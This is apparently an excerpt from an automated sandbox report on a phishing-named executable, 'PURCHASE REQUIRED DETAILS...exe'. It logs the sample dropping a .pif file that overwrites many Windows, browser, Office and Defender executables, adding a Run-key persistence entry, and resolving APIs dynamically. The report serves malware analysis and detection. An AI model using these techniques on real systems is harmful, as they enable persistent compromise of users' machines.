Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\SensorDataService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\msdtc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior

Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\vds.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\snmptrap.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\Spectrum.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\Locator.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\7-Zip\7z.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\SysWOW64\perfhost.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\7-Zip\7zG.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\xpha.pif	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\TieringEngineService.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Mozilla Firefox\updater.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\SensorDataService.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\7-Zip\7zFM.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\excelcnv.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Google\Update\Install\{9DD40E31-8782-438B-BCFD-713DE1B3090F}\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\AgentService.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	File created: C:\Users\Public\Libraries\ymafvvdS.pif	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\xpha.pif			Jump to dropped file

Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\snmptrap.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\Spectrum.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\Locator.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\AgentService.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\TieringEngineService.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\vds.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\SysWOW64\perfhost.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\SensorDataService.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File created: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\xpha.pif			Jump to dropped file

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Sdvvfamy			Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Sdvvfamy			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Creates files inside the volume driver (system volume information)

Source: C:\Windows\System32\TieringEngineService.exe

File created: C:\System Volume Information\Heat\

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Code function: 0_2_02B2AB1C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_02B2AB1C

